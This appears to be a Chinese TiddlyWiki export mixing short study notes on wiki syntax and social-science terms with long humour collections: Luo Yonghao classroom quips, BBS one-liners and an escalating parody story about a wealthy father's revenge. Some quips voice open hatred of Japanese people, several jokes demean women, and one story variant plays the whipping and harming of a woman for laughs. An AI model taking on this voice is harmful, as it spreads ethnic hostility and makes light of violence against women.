SiteSubtitle>>\n*可切换的分页，每个分页里面可以放不同的记事\n{{{\n<<tabs 给这个分页组取个名字\n显示的文字1 "鼠标提示1" 记事1\n显示的文字2 "鼠标提示2" 记事2\n...\n>>\n}}}\n如：<<tabs 初始设定\n左侧菜单 "左侧菜单的內容" MainMenu\n「首页」 "一开始会显示的记事是这些" DefaultTiddlers\n>>
如年龄,性别的单一性.
指人由于只关注与自己期望相符的信息而忽略其他信息所产生的知觉错误。
-1.00 ~1.00\n接近0说明相关性小
指给出"礼貌"的和社会可接受的回答.\n如白人倾向向黑人调查者表示他们支持黑人候选人.
*主动lead\n*重点idea\n*关键词signal word\n*积极听actively listen\n*选择记note-taking
网络传播学是研究网络中介传播（以网络为媒介的传播活动的总称）的系统学科\n\n网络传播分类与大众传播有近似之处，可以分为：信息传播（如BBS，新闻，告知），网络广告传播（或网络行销：利用网络为平台进行广告活动。如商业传播类mini－site，Banner旗帜广告等），网络商品交易（利用网络为媒介，传播商品信息以及提供渠道）以及网络文化艺术（包括公刊发表和平民自发的点对点传播及块面复制，如原创flash综合动画，风格统一互动的在线留言板等）。 ps：网络传播学是一种科技社会学的新媒体延伸。
\n\n \n1.老罗在课上问∶"日本女人有什么爱好？"\n\n下面有人回答∶"拍片！！"\n\n老罗暗笑，说∶"你们T M D就不能想点好的东西啊~那么，日本男人有什么爱好？"\n\n下面异口同声∶"看片！！！"\n\n3.古代诗人去技院是去谈恋爱的。\n\n8.背过词典的我只见过老俞和那个广东疯子。\n\n10.什么是梨行的身材？恩？你们看我干什么？？我老罗是标准的桶行身材！！\n\n12.这道题多年来在新东方一直讲不明白，直到你们罗老师加盟了新东方。老教师都对我说∶老罗，你可真牛！我赶紧说∶快别这么说，我只是站在了巨人的肩膀上！\n\n14.我外婆出生于光绪年间，改个屁嫁。\n\n16.当学生向老俞提问时，老俞会给他讲个他自己奋斗的小故事，把学生都感动坏了，就忘了刚才的问题了。\n\n19.中国要是有50%的人都是同性恋，人口问题就解决了。\n\n20.为什么？很简单，因为你是土鳖，没见过世面。\n\n21.13岁的少年罗永浩，有生以来第一次近距离目击活的黑人！\n\n23.这时我赶紧掏出记事本，写遗嘱。\n\n31.令人愉悦的忧伤\n\n32.我真嫉妒你们能遇到这么牛的老师！\n\n33.真正的猛男，敢于直视惨淡的人生。\n\n34.猛男的另一个特征，哭的时候要躲起来。\n\n37.幸福的直哆嗦。\n\n38.啊，该睡觉了，喝两杯咖啡。\n\n43.听完精神崩溃了。\n\n44.中国教育的两大悲哀∶1.每个学校都有一个变态的中年妇女当教导主任.2.每个学校都有一个好色的男体育老师一上课就让男生玩球，自己领女生做游戏。\n\n45.女生就这点不好，你吵不过可以打嘛，打不过可以不打嘛！干什么去打小报呢？\n\n48.我到新东方后劝退了不少老教师。\n\n课间休息，欣赏一下超级可爱小美女\n\n继续……\n\n50.彪悍的人生不需要解释。\n\n52.我咽了一口苦水，不过在她看来是一口口水。\n\n53.风。\n\n冷风。\n\n冷风吹。--------------古龙这样写是为了赚稿费（按行计费）\n\n55.眼睛血丝密布，脑门上青筋暴露，脚上出现了汗毛。\n\n57.-------老罗呢？\n\n-------不知道，也别问，反正是没了。\n\n62.注意，老罗从来就没有弟弟！\n\n63.有时候，我也稍微感到一点点恶心。\n\n66.老子一天不做上1000个俯卧撑还真TMD不爽！\n\n67.小孩打架是比发育。\n\n68.过了3年，我发育了！！！\n\n73.我跟他们比人品！！\n\n76. 你数学不好，还可以去当英国首相嘛（邱及耳），不行也可以去当台湾作家嘛（李敖），还可以去英国做诗嘛（徐只摸），当然以上的都需要签证。那不行你可以在国内当作家嘛（钱钟书），最次你也可以当个老师嘛（罗永浩），如果你连课都讲不了，你也可以去当个校长吧（俞敏洪）。\n\n78.不能这样，否则他们会认为你很活泼。\n\n79. 你们都看不看中 央电视台的春节晚会啊?啊,怎么还保持着这个恶习啊?! 中央电视台的联欢晚会不是给正常人看的.但是爸妈要看, 作儿子的总不能回屋吧,先吃几个维生素B6（孕妇用来防止呕吐的），再硬着头皮坐在电视机前.有一年竟然发生这样的事: 倪萍满面假春风地说:"今天的联欢会突出了联欢的主题."对得让人面红耳赤! 思路与ETS高度一致!她去考GRE如果不得2400, 那基本是词汇不过关!\n\n80.痴呆型精神病患者最幸福。已经达到一个高深的境界，每天都处于非常high的状态。而且干啥随便∶你是傻子你怕什么！？可以被养得白白胖胖，永远处于放风状态。\n\n81.政治就是没有矛盾，制造矛盾；再解决矛盾。其实就是制造仇恨的。巴勒斯坦的小学数学课本里有道题∶抓到七个以色列战俘，干掉五个，还剩几个？连数学都灌输仇恨的民族是没有希望的。\n\n82.遇到误会解不解释呢？绝不解释！只有两种情况我才解释∶1亲人误会我。如果我不解释，他们会难过。2法院误会我。除了这两种，绝不解释。真正硬朗彪悍，不解释！妈的，连我这种人你都误会，你还能干啥？\n\n83.Caculus 一看我就头发麻。听说马克思当年写资本论时累了就做两道微积分休息休息。当年我就因此埋下了对马克思的深仇大恨。但后来经证实是算术题不是微积分。原来是算术题啊，嘿嘿。我是中国大陆唯一考gre不答数学部分的人。当年我答到数学section的时候，第一题我花了7分钟读题，咦？没读懂。他妈的不做了。按下一题。没想到机器提示我必须选一个答案。我当时汗就下来。我来考试是想得到自己的真实成绩啊。它这蒙错了还好，蒙对了怎么办啊！ETS怎么也没想到，还有这样的奇男子，蒙对了会很伤心的。我一想，都不做了。于是把整个数学section全放掉。直接做下面的section。考了几次GRE全没答数学 section。后来ETS给我寄成绩时问我∶By the way，能问问你为什么每次都不答数学部分呢？你有什么目的么？嘿嘿，我不告诉你。我给ETS写信∶如果你给我退数学部分的考试费我就告诉你。他们没理我，于是我也就没理他们。\n\n84.杀虫剂是干什么的啊？就是帮助昆虫搞优生学的。越来越好的杀虫剂把一个个小虫子搞得象小泰森似的。遇到不怎么样的杀虫剂就象下场毛毛雨,好点呢,就是洗个澡.而且这些小虫子洗澡时也不闲着，一边洗一边唱∶"我们是害虫，我们是害虫！"\n\n85. 我家离新东方远，每天在家门口打车。家太偏僻了，到处是比夏利还破的车。根本不愿意坐。有一天我发现了一个黑色桑塔那---在我们那算是高档车拉。可我一看那司机就不想坐了。他又黑又瘦，干瘪小个，一副欠扁的窝囊相。不得以为了车还是坐上去了。坐上去后才发现这司机不一般啊。上了车他立即象个男子汉了-- --一个劲踩油门，只分轻踩和重踩，根本不见踩刹车。我惊喜地发现"北京不堵车拉！"不论红灯绿灯一路过，别的车都让路。充满了罪恶的快感。太爽拉。那干瘪身形高大起来.但是一下车，他的眼神又变的窝囊起来了。\n\n86.人最他妈虚伪。你去跳崖自杀，看见了一个人你看他就来气，上去就扁了一顿，然后心情就爽了，不想死了，抱住人家大叫"恩人！"，结果他跳下去了。对动物也一样∶把人类折磨的对象叫恩人。什么救命恩狗的。比如小蜜蜂。人家一年辛辛苦苦酿蜜。是给你酿的？！你上去抢过来咕咚咚喝完，一抹嘴，说∶"啊，小蜜蜂，你真是辛勤的小精灵啊！"靠，你欺负也就欺负了，还要恶心它。它是不知道。如果知道了，肯定气吐血。\n\n87.家里穷那会儿，屋里坐四个人，只有一袋半方便面。还没吃呢，又来一个人。我们四个这个后悔啊---- 怎么不早吃呢？那人兴高采烈地说今天感恩节啊！他妈的，吃的都没有，感什么恩？！他说我们去教堂吧！我们又不信教上什么教堂？他说哎呀感恩节，教堂有吃的。我们一听乐疯了。于是五个人骑着三辆自行车直奔教堂。到那一看果真有糖果饼干什么的，而且随便进。我们就上去疯吃一顿。没人管啊。于是留下了美好的回忆。第二年感恩节，我们又去了，一看是自助餐！！！都精神崩溃了。上去疯狗一样吃。\n\n88.最土最庸俗最家常便饭的就是孔子。所以得到广泛流传。象老子庄子那都太酷拉。从远处骑个小毛驴戴个墨镜。走过你身边。然后消失在远方，可是你还觉得那墨镜在他背后。巨酷无比。语言所不能表达的就是禅，最酷。不能渐悟，只能顿悟。师傅拿个棍子。你问∶"什么是禅啊，我怎么还没悟到啊？"师傅上去就一棍子打在头上∶接着悟！当时有多少徒弟被打傻打死啊。有的徒弟聪明，被打了一下，就"啊，我懂了！"于是下山收徒弟，手里也拿个棍儿，徒弟说悟不出，上去就打∶接着悟！聪明的徒弟怎么样啊？也不用接着悟，也不用挨打，直接拿个棍就下山收徒弟。办起住宿班、冲刺班、12周班、15周班..........\n\n89.我们不幸和财狼作了邻居（指日本）。小日本们从古至今要么正在侵略要么在筹备侵略。在他那小破倒霉土地上，并且不计划生育，这不找死么！？日本人从小就被洗脑∶缺乏资源出去抢是正确的。日本单个人都挺好的。放到一起就是一个人格分裂精神变态的民族。我也遇到过几个不错的日本人。但我绝不与他们深交。为什么啊。我深谋远虑啊。到时上了战场，老子二话不说一枪废了他！有的同学听了我的课去投诉，说我在课上宣扬反日情绪。这是反日情绪么？现在我来纠正一下啊。不是反日情绪。是仇日情绪！记住了啊。到时候投诉别说错了！\n\n90.当年我上住宿班的时候老俞还不象现在这么忙。上山给每期学员作一次动员演讲。那时老俞在我们心中就是神啊。一天听说晚上老俞来作演讲。于是都早早跑到演讲处集合。老俞吃过饭来了，拿起话筒，什么都没说呢，就是一个响亮的饱嗝。要多不合时宜有多不合时宜。我们当时听了都傻了，互相看了看，脸上都洋溢着痴呆幸福的光芒说∶多么平易近人的饱嗝啊！！！！\n\n91.Ezra Pound是美国20世纪文学界的邓小平。在美国写诗得不到认可，就去英国混。在英国混出头了。然后肆无忌惮。大骂美国，还写道∶资本主义排斥诗人。美国是资本主义，英国不是么？！头脑极度混乱，诗人的标志。后来E.P开始研究政治。一个诗人研究什么政治？！而且他居然拥护墨索里尼，参与了一个反美电台。他酷爱中国文化，对中国文化病态痴迷。把孔子的着作都翻译成英文。狂迷中国饮食，在整个意大利没找到中餐馆，于是大怒∶居然没有中餐馆，这个国家完蛋了！\n\n92.把有限的马屁集中火力拍到一个人的屁股上。\n\n93.愚蠢本能发作了\n\n94.雷锋一生扶过六千个老太太过马路\n\n97．我走来走去，为中国的命运苦苦思索\n\n98．在一个疯子的领导下，一国人都疯了。政治比战争可怕得多。\n\n100.破题，肯定是倪萍参与了出题。
1.先是超女冠军李宇春，后是奥斯卡奖的《断臂山》，中国同性恋们终于站起来了！（北大未名）\n2.有看《金刚》不哭的MM吗？我想没有～但如果换成是女金刚和男帅哥的话，我想就完全不会有人哭了~（北大未名）\n 3.欧盟一个劲儿指责中国打击盗版不力，因为全球限量生产的6辆法拉利仅在中国就有7辆！（水木社区）\n4.“不得穿内裤和拖鞋进教室！”说实话，即便在南邮混了四年，我脸皮也没厚到不穿内裤进教室……（紫金飞鸿）\n5.长得帅有个屁用，消费完了能用那张脸去刷卡么！！（天涯真我）\n6.五一长假，租女友，一日。（兵马俑）\n7.特大喜讯：《实况足球10》终于有中国队啦！！！中国队唯一用途是高手在向周围人炫耀时说：“来来来，我们切两把，我选中国队～”（北大未名）\n8.小朋友们都站好，摆个pose照相啦！唉～小莉，站要有站相，不要像frjj那样~~~（北大未名）\n9.以前资本家宁可把牛奶倒掉也不给穷人喝，现在房产商宁可把房子空着也不给百姓住！（兵马俑）\n10.不能成为举人，如何傍眼探花？（饮水思源，又见隐讳～）\n11.今天一群日本人到参观我校，说实话，这是我第一次看到穿衣服的日本人……（泉韵心声）\n12.继跨行查询后，银行还将收取什么费？A.银行建设费；B.ATM初装费；C.银行卡选号费；D.微笑服务附加费。（网易）\n13.今儿这破沙尘暴天气就是中国足球队的俩臭脚前锋——杨晨，谢晖！（兵马俑）\n14.我宁愿接受你在流氓身下拼死反抗，也不愿承受你在男人身下飘飘欲仙！（天涯QQ驿站）\n15.由于之前大阪钢巴队在国内联赛以6-1痛扫同城死敌大阪樱花队，所以今晚亚冠比赛有40名大阪樱花队的球迷来大连为实德队加油……（水木社区）\n16.终于明白周杰伦的《范特西》是什么意思了——粥……（日月光华）\n17.答辩难度要视答辩老师头天晚上的性生活质量而定～（兵马俑）\n18.亚当一加班回去晚了，夏娃就数他肋骨……（水木清华）\n19.乡亲们，太监说了，只要交出土八路，红军是不会亏待你们滴～（小百合）\n20.网通用户说：“我不在刷新天涯的页面中，就一直在登陆天涯的过程中……（C_chairman/chai2001）\n21.小时候妈妈常唠叨：“考不上清华啊咱就考北大。”结果长大了我连北大也没考上……（北大未名）\n22.朋友们都说我是著名的音乐人，因为每次去k歌，他们唱的都是别人的歌，而我却总是自己谱曲……（水木兄弟们，下次一定署名～：））\n23.我女友曾经说过：“我的愿望不高：老公不用太有钱，能在我怀孕时开车接我上下班就好。”后来，她嫁给了一个出租车司机……（水木社区）\n24.昨天，我残忍地拒绝了一个令我无法拒绝的女人提出的无法拒绝的要求——老妈心疼地对我说：“娃啊，你也不小了，该找个女朋友了……”（兵马俑）\n25.远在老家的奶奶听我考上北大的消息后很伤心地说：“娃呀，你怎么不上中央民族学院啊，那好歹也算是个中央院校啊，那破北京大学不就是个地方院校嘛～”（北大未名）\n26.车比暗疮还要挤，心比六级更难过，校网像明一的玻璃一样劲破，自己像中东的天桥一样没用……（逸仙时空）\n27.如果我是蒲公英该有多好：有漂亮的头饰，有特别的翅膀，而且妈妈不会阻止我远航……（北大未名）\n28.我很穷，我家的佣人也很穷，我家的园丁也很穷，我家的司机也很穷……（水木社区）\n29.起床从不叠被，学习从来不累，不进学生会，根本无所谓！\n常常夜不能寐，思考谁最般配，男女适当配对，青春不能浪费。\n深知不学不对，仍然喝酒聚会，半夜三更不睡，上课常抹眼泪。\n就是群雄荟萃，期末复习不背，考试啥也不会，重修不过就退！（蓝色星空）\n30.我们为尿是不是由于地心引力而排出体外争论不休，我是持反对意见的一方。为证明我方观点正确，我一边倒立，一边小便给他们看……（郁金香）\n31.热恋伤身，暗恋伤心……（天涯开心乐园）\n32.如果这个世界上不存在性，那么我想爱情才会出现……（天涯开心乐园）\n33.昵称/ID叫“我爱XXX”的，最终往往是分手的居多……（水木社区）\n34.思想有多远，你就滚多远！！！（兵马俑）\n35.最差的人品莫过于痴痴地盯着一个丑女看半晌，然后叹口气说：“靠，这恐龙做得太像真的了……”（水木社区）\n36.mm叹口气道：“终于见血了，这灾是不是就算躲过了……”（隐讳，白云黄鹤）\n37.想吃天鹅肉，请教李亚鹏~（我爱南开）\n38.已经三年没见过女人了，现在看到一只老母猪，都觉得它眉清目秀的……（天涯开心乐园）\n39.我把自己今生的幸福郑重地交给了自己的左手……（天涯开心乐园）\n\n40.亲爱的，死没？死的话抱紧我，好让收尸的知道我们是一对儿！（天涯开心乐园）\n41.天大的男生打女生——打一游戏名——反恐精英；天大的女生打女生——打一游戏名——魔兽争霸！（天大求实）\n42.刚毕业时：弟兄们，后会有期啊；毕业一年：兄弟们，后会有妻啊；后来：兄弟们，后悔有妻啊；再后来：兄弟们，会有后妻啊；最后：兄弟们，悔有后妻啊~（天涯东方）\n43.J总书记在交大校庆时说：“前几年上海交大还排21，现在都第三了，看来我的影响还是深远的～” 如今总书记退休了，一些官员过河拆桥，交大汉芯丑闻立刻被暴光！嗨，今年7月我就要毕业离开农大了，不知道农大会出什么乱子……（五色土）\n44.我对现在女孩穿衣服很有看法！这才4月份就穿那么少，那夏天来了怎么办？原来洞房花烛夜时新娘穿的很多，男人就像剥笋子一样一层层解开，最里面还有肚兜，那是多美妙的一种情趣啊～哪像现在，即便我高度近视，隔五六十米，什么东西也都看清楚了……（蓝色星空）\n45.日本人把“纪念”写做“记念”，鲁迅先生在日本几年可能写习惯了，所以在《记念刘和珍君》中写了错别字，也就是现在汉语说的通假字，但如果我们也那样写就是错别字了～看来历史都是由人写的，位高权重者驾驭历史……（紫丁香）\n46.女孩儿们，看人别只看坐骑——因为骑驴跑的不一定是张国佬，也许是偷地雷的鬼子；骑扫帚飞的也不一定是巫婆，还可能是哈立波特~（C_chairman/chai2001）\n47.怎样争夺女主角？当不了男主角，就努力当个大反角；当不了大反角，争取当个够酷的男配角；当不了男配角，至少得当个不和主角正面拼的悲情角；当不了悲情角，那只好去当个主角身边的小丑角；要是连小丑角都当不了——我这里有本10块钱的宝典，可以教你如何取代女主角……（北大未名）\n48.大家一定要抵制日货——因为我刚买的索尼手机才用了俩礼拜就坏了！！（C_chairman/chai2001）\n49.没能力危害祖国，没理由背离人民，\n没资本好逸恶劳，没本事损人利己，\n没机会见利忘义，没胆量违法乱纪，\n没钞票骄奢淫逸，只好愚昧无知了！（北大未名）\n50.上班/上学族每天最期盼的时刻——（水木社区）\n,\n﹋ ﹌ ﹌ (╰╮╮\n﹋﹌ ∞╭⌒ヽ ..\n冲啊﹋ ﹋﹌╰( (_Q\n吃饭啦﹋﹌﹋ 〆～〆〆\n51.“失业”是资本主义社会不可调和的基本矛盾引起的，它体现了资本主义制度的罪恶；\n“下岗”是社会主义初级阶段发展过程中极个别的现象，它充分体现了党的英明与伟大。（水木社区）\n52.习惯的力量是可怕的——我发现手机必须要放在笔记本的左边，因为放在右边的话，每次我都会情不自禁地去握它当鼠标用。（水木社区）\n53.全班计算机最烂的也能在简历上写个“精通电脑”，而我连熟悉英语都不敢写……（饮水思源）\n54.学习就跟做人一样，一旦上了境界，就下不来了～（MOP）\n55.古代当太监有点像现在考公务员，大家都是削尖了“头”才能进去~（饮水思源）\n56.始终没有沦为一名优秀的大学生，靠的就是坚强品质！（天涯大学校园）\n57.没见过这么恶心的学校——把期中考试订在5月8号！！！（我爱南开）\n58.宿舍楼前贴的大标语——让我们大家一起来做爱\n国青年，抵制日货！（珞珈山水）\n59.班里女同学下晚自习不敢回去。后来她们每人带了个手电筒。这样，每当遇到草丛里突然蹦出来的人时，只要冷静地掏出手电筒对着自己脸照照，一切都安全了……（我爱南开）\n60.如果有一个男生追你，那你不过是达到了咱学校mm的平均水平；如果有五个男生追你，那你勉强可算是班花系花级别；如果有十个男生追你——臭美啥！这事儿也就是在咱理工有~（MOP）\n61.上帝一把从我手中将爱情夺走，说：“爱情不是你的！”于是我哭着找小朋友们做游戏去了……（天涯大学校园）\n62.4岁时，村里有个男人路过我家顺手偷走一只鸡，我站在门口眼巴巴地看着他，希望他能把鸡放下。不料他却提起手中的铁锹挖一个大坑，然后指着坑对我说：“小家伙，别吭声！世界末日到了，你看地都裂了，快回家吧～”（兵马俑）\n63.5岁时就萌发偶生平最大志向：长大后一定要娶个公主！为了寻找梦中的公主，5岁的小帅哥手持棒棒糖傲然离家出走～（日月光华）\n64.我喜欢温柔善良的女孩，我喜欢说话做事大方的女孩，我喜欢善解人意知书答礼的女孩，我还喜欢成熟稳重但又有点单纯的女孩——可是，她们都不喜欢我……（天涯大学校园）\n65.仔细看mm的人是善于发现美和感受美的人，仔细看mm脸蛋的人是做事体面的人，仔细看mm胸的人是勇于挑战颠峰的人，仔细看mm腰的人是蓄势待发、干劲十足的人～（郁金香）\n66.没想到忘记你竟然用了我三分之一秒，真是太长了！（天涯大学校园）\n67.才发现原来我爱上的不是你，而是爱上了爱情……（天涯大学校园）\n68.在被人甩的前夕，我把那个人给甩了，因为我觉得甩人比被甩要有点儿品位～（天涯开心乐园）\n69.在认识我之前，我的女朋友们几乎都认为孩子是从屁眼儿生出来的……（天涯开心乐园）\n70.一个女人在手淫，于是她就成了日本人！（天涯开心乐园）\n71.我说我长得实在太帅，上帝听到一巴掌就把我从5楼扇了下去：“跟你丫说过多少次，饭前不要讲这么恶心的笑话！”（日月光华）\n72.你们少吃点甜的，我有糖尿病！！！（饮水思源）\n73.妈的，我被人投诉了！客户说我给他的mp3文件没有图像！！！（水木社区）\n74.如果长相有限，请你自动下线；如果找我聊天，看你谈吐表现；如果换我下线，是你谈吐下贱！（天涯娱乐八卦）\n75.当他细密的胡茬贴上她温润的双唇上时，她娇躯微颤，呼吸骤然停滞，她推开他，用一种摄人心魄的语气轻轻问：“今晚……你吃了几头蒜？”（北大未名）\n76.我刚一拉可乐的拉环，也不知道哪位缺德地喊了一句：“fire in the hole!”我居然把可乐扔向了人群……（北大未名）\n77.几个哥们在课间讨论女生的“size”：32A、34A……一女生过来好奇地问他们在讨论什么，一哥们回答：电流！（兵马俑）\n78.给你根香肠充饥吧~（MOP）\n79.孟德，令堂无恙乎？（谢绝译成现代文！天涯开心乐园）\n80.五一期间，游乐场鬼屋入口处挂了一个牌子，上面写道：“请勿错殴本站工作人员！”（北大未名）\n81.日本小孩说：“你们北京小孩真幸福，城外就是大沙漠，出了城就可以骑骆驼看日落了～”（兵马俑）\n\n82.我非常讨厌狗，为了侮辱它们，我叫它们“小泉纯一郎”！（天涯灌水专区）\n\n83.不想做太阳，因为不想把大家变成烤猪。可这种牺牲，猪又怎会理解？！（天涯开心乐园）\n\n84.男人穿上裙子并不会有“下面”空荡荡的感觉——反倒觉得像挂了串风铃～（水木社区）\n\n85.我绝对相信青蛙接吻后会变成王子，可关键是我妈不信～（天涯大学校园）\n\n86.你终于听话地躺下来了，因为你手里拽着我给你的钞票……（天涯开心乐园）\n\n87.妈妈说：“如果命运扼住了你的喉咙，你就猛掐命运的J*B！”（天涯开心乐园）\n\n88.太阳胆子最小，天一黑就躲起来，从不敢出来遛达；月亮胆子真大，基本上每天晚上都在天上转来转去，并且有时候白天也出来，这不是欺负太阳么？！！（碧海青天）\n\n89.跳棋高手谈获胜秘诀：1.要不惜一切代价为自己铺路搭桥；2.当自己达到目的时，要立即过河拆桥；3.万一自己陷入不利的境地，要死死地拖住对家的一个子不放，你赢不了对方对方也别想轻易赢！（水木社区）\n\n90.“BL”是人类文明发展的标志，“H”是放开胸怀的展露，“SM”是人类极限的考验同女人是最强生物的代名词……你们说偶是BT？那谢谢！^_^（天涯QQ驿站）\n\n91.太高的梦想我永远到不了，太低的卑微我也永远下不去～（天涯大学校园）\n\n92.把简单的事情写复杂，把浅显的道理说深奥，难道这就是论文？？？（水木社区）\n\n93.后悔来中大读研了——因为素质好的被糟蹋了，有点姿色的也被糟蹋了！（逸仙时空）\n\n94.自从学校洗澡改按流量收费以后，很多男生就剃了光头……（水木社区）\n\n95.时间是最好的老师，但遗憾的是——最后他把所有的学生都弄死了……（细品，日月光华）\n\n96.唯女人与英语难过也，唯老婆与工作难找也！！！（天涯QQ驿站）\n\n97.复旦一扩招，整个华东平原母猪的价格就暴涨，可见“事态”之严重！！！（日月光华）\n\n98.杨振宁教授告诉我们：美女很重要，老了也需要～（碧海青天）\n\n99.开元年间，番邦使臣毕恭毕敬将进贡宝物献给唐明皇，“这是我国至宝‘三色宝珠’”。明皇问因何得名，使臣答道：“此物用刀剖开，最外层淡青，中间皓白如雪，内层红似朝霞，是以得名‘三色宝珠’”。明皇细细看过，朗声大笑：“贵国将此物命为‘三色宝珠’，而在我大唐中土却另有别名啊～”使臣追问，明皇幽幽答道：“咸蛋”（我爱南开）\n\n100.Joke版通行版归~\n你拍一，我拍一，乱议国事弹j j；\n你拍二，我拍二，Z T 站务在一块；\n你拍三，我拍三，挖坑灌水很简单；\n你拍四，我拍四，潜水不灌应鄙视；\n你拍五，我拍五，乱喊OLD 要封堵；\n你拍六，我拍六，E X 笑话两头凑；\n你拍七，我拍七，Z T 命令是第一；\n你拍八，我拍八，发贴休把闲话夸；\n你拍九，我拍九，发贴先看有没有；\n你拍十，我拍十，违背一条弹到死，弹~到~死~~~（水木社区）\n\n打造五一最强贴【 有钱人就是NB(绝对震撼)】| from LQQM.net + 纯属搞笑，毫无思想\n\n在我们这个百万人口大城市（呸！）的一个麦当劳门口（为了避免报复，我就不说具体哪个城市了）。\n\n一天，一个小男孩跟她奶奶（忒时髦的说）吃完出来，小男孩手里拿个吃套餐给的玩具，一耍的给甩了出去！\n没那么巧的，门口停着辆很酷的宝马（好像是750i，如果我没记错的话）结果就那么巧的给砸上面了，结果就那么巧的给划了那么一小小小小……道痕迹！（根本就没什么啊，塑料玩具不大可能划伤车子啊，反正我没看出来）\n\n然后那个宝马的主子就喘着大气下来了，一看爱车给划了道痕，什么也没说啪啪就给了那小孩两嘴巴！哎哟，\n那个缺德劲，要是我nb我就扇他去！\n\n然后那小孩他奶奶就打了个电话，并且把那个宝马的主子给拽住，反正他没得走了！（这个是在屋里面吃东西的时候看到的）\n\n大概15分钟（我吃完出来了），一看门口当道停着好像4、5辆车，都是什么奔驰宝马级别的，还站着15－20个人，那叫一个nb！！！\n\n那个小孩他爸（后来判断出来的）很客气的说：我们小孩划了你的车，是我们不对，你这车多少钱买的。\n\n那个人回答：200w（kao！真吭人！）\n\n他爸说：现在值多少？\n\n那个人：160w（cao，扯淡！）\n\n孩他爸：那行，到车的后背箱数160w\n\n那人估计当时也sb了，就乖乖的跟着他去数了160w。真nb\n\n然后，那小孩他爸说：把那车给我砸了！\n\nkao！宝马啊！结果那跟着的10多个人就回车里取了斧子，把那宝马给砸了！\n\n还是那句！宝马啊！！！\n\n那个宝马的主子当时彻底sb了，p都不敢放！我也是吓的不知道走开了！\n\n半天之后车彻底报废了！\n\n然后那小孩他爸说：车的事，咱们解决了！接下来你打我小孩的事，咱们该说说了！我小孩可比车值钱多了！一个巴掌500w，你看着办吧！\n\nkao！我当时就傻了！估计那宝马车主子魂都没了！\n\n就看他被“请”上了个车，走了，估计丫要是没点家底，死定了，有家底也败家了！\n\n多好的宝马啊，就这么摊那了！废铁一堆！\n\n他们走后110就来了，真“tmd”准，刚走就来，我怀疑……\n\n不多说了，大家就一起震撼一下吧！\n\n我是震撼死了！\n\n有钱，真nb！\n\n绝对我自己经历的！不含夸张水分！\n\n又一天，一个小男孩跟她奶奶（忒时髦的说）准备登机，楼梯登到一半！突然空姐说不让登机了！！说预留座位已满了！！\n\n然后那个机长就喘着大气下来了，说机场会为她安排就近的其它航班，说什么也不让上！\n\n哎哟，那个缺德劲，要是我nb我就扇他去！\n\n然后那小孩他奶奶就打了个电话，并且把那个机长给拽住，说什么也让他上飞机，反正他没得走了！（这个是在机场餐厅吃东西的时候看到的）\n\n大概15分钟（我从机场餐厅吃完出来了），一看跑道上停着好像4、5架直升机挡道，都是什么山猫级别的，还站着15－20个黑衣人，那叫一个nb！！！\n\n那个小孩他爸（后来判断出来的）很客气的说：我们老太太阻挡你们的起飞，是我们不对，你这747当年多少钱进口的。\n\n那个机长回答：少说两亿吧？（kao！真吭人！）\n\n孩他爸说：加上这个航班的所有乘客的机票钱多少？\n\n那个人：少说也有两亿五（cao，扯淡！）\n\n他爸：那行，两亿五现金不方便，你上我们直升机去数金砖！\n\n那人估计当时也sb了，就乖乖的跟着他数了250块金砖。真nb\n\n然后，那小孩他爸说：把乘客给我叫下来！\n\n于是空姐们乖乖把乘客都带下来了。\n\n小孩他爸又说：把飞机给我炸了！！\n\nkao！747啊！结果那跟着的10多个人就回直升机里里取了de-tona-tor，把那747给炸了！\n\n还是那句！747啊！！！！\n\n那个机场的所有人当时彻底sb了，p都不敢放！我也是吓的不知道走开了！\n\n半天之后火光冲天，整个机场都废了！\n\n然后那小孩他爸说：飞机的事，咱们解决了！接下来你不让我家里人登机的事，咱们该说\n\n说了！我家人的时间可比飞机值钱多了！一分钟1亿，你看着办吧！\n\nkao！我当时就傻了！估计那机长魂都没了！\n\n就看他被“请”上了个直升机，走了，估计丫要是没点关系，死定了，有中央领导罩着也败家了！\n\n多好的747啊，就这么摊那了！废钢一堆！\n\n他们走后某地领导就来了，真tmd准，刚走就来，我怀疑……\n\n不多说了，大家就一起震撼一下吧！\n\n我是震撼死了！\n\n有钱，真nb！\n\n绝对我自己经历的！不含夸张水分!\n\n又又一天，一个小男孩跟她奶奶（忒时髦的说）吃完出来，小男孩一蹦一跳的往外跑，一不小心就从台阶上跌出去了！没那么巧的，门口站着一穿吊带背心的大美女（胸围在36d左右，如果我没猜错的话）结果就那么巧的小孩摔到她身上了，结果就那么巧的顺手一拉，把整个吊带背心拉下来了。当时就有无数路人鼻血 ing….\n\n然后那个美女的男朋友就喘着大气跑来了，一看mimi露点了，什么也没说啪啪就给了那小孩两嘴巴！哎哟，那个缺德劲，要是我nb我就扇他去！\n\n然后那小孩他奶奶就打了个电话，并且把那个mm的男朋友给拽住，反正他没得走了！（这个是屋里面吃东西的时候看到的）\n\n大概15分钟（我吃完出来了），一看门口站着一排美女，都是什么36d 级别的，还站着15－20个人，那叫一个nb！！！\n\n那个小孩他爸（后来判断出来的）很客气的说：我们小孩不小心扒了你女朋友的衣服，是我们不对，你这妞胸围多大的。\n\n那个人回答：36e（kao！真吭人！）\n\n他爸说：看起来没那么大啊？\n\n那个人：36d，这两天缩水（cao，扯淡！）\n\n他爸：那行，给你个36d 的那人估计当时也sb了，就乖乖的跟着他在那一排美女中挑了个36d 的。真nb\n\n然后，那小孩他爸说：把那妞给我sm了！\n\nkao！美女啊！结果那跟着的10多个人就回车里取了皮鞭和蜡烛，把那美女给sm了！\n\n还是那句！美女啊！！！！\n\n那个美女的男朋友当时彻底sb了，p都不敢放！我也是吓的不知道走开了！\n\n半天之后那个美女彻底歇了！\n\n然后那小孩他爸说：妞的事，咱们解决了！接下来你打我小孩的事，咱们该说说了！我小孩可比妞金贵多了！一个巴掌弹jj500下，你看着办吧！\n\nkao！我当时就傻了！估计那美女的男朋友魂都没了！\n\n就看他被“请”上了个车，走了，估计丫要是jj没练过，死定了，练过也白练了！\n\n多好的美女啊，就这么摊那了！烂肉一堆！\n\n他们走后110就来了，真***准，刚走就来，我怀疑……\n\n不多说了，大家就一起震撼一下吧！\n\n我是震撼死了！\n\n妞多，真nb！\n\n绝对我自己经历的！不含夸张水分\n\n大结局篇\n\n地点在我们这个百万人口大城市（呸！）的一个麦当劳门口（为了避免报复，我就不说具体哪个城市了）。\n\n一个小p孩跟她奶奶（忒时髦的说）吃完出来，小男孩好象“小jj”急了，随地小便！没那么巧的，门口停着辆很破的凤凰（看上去前轮胎都磨的不象样了，链条都是黑的，如果我没记错的话）结果就那么巧的给“小jj”尿上面了，结果就那么巧的给“小jj”尿了那么一小小小小……滴痕迹！（几乎没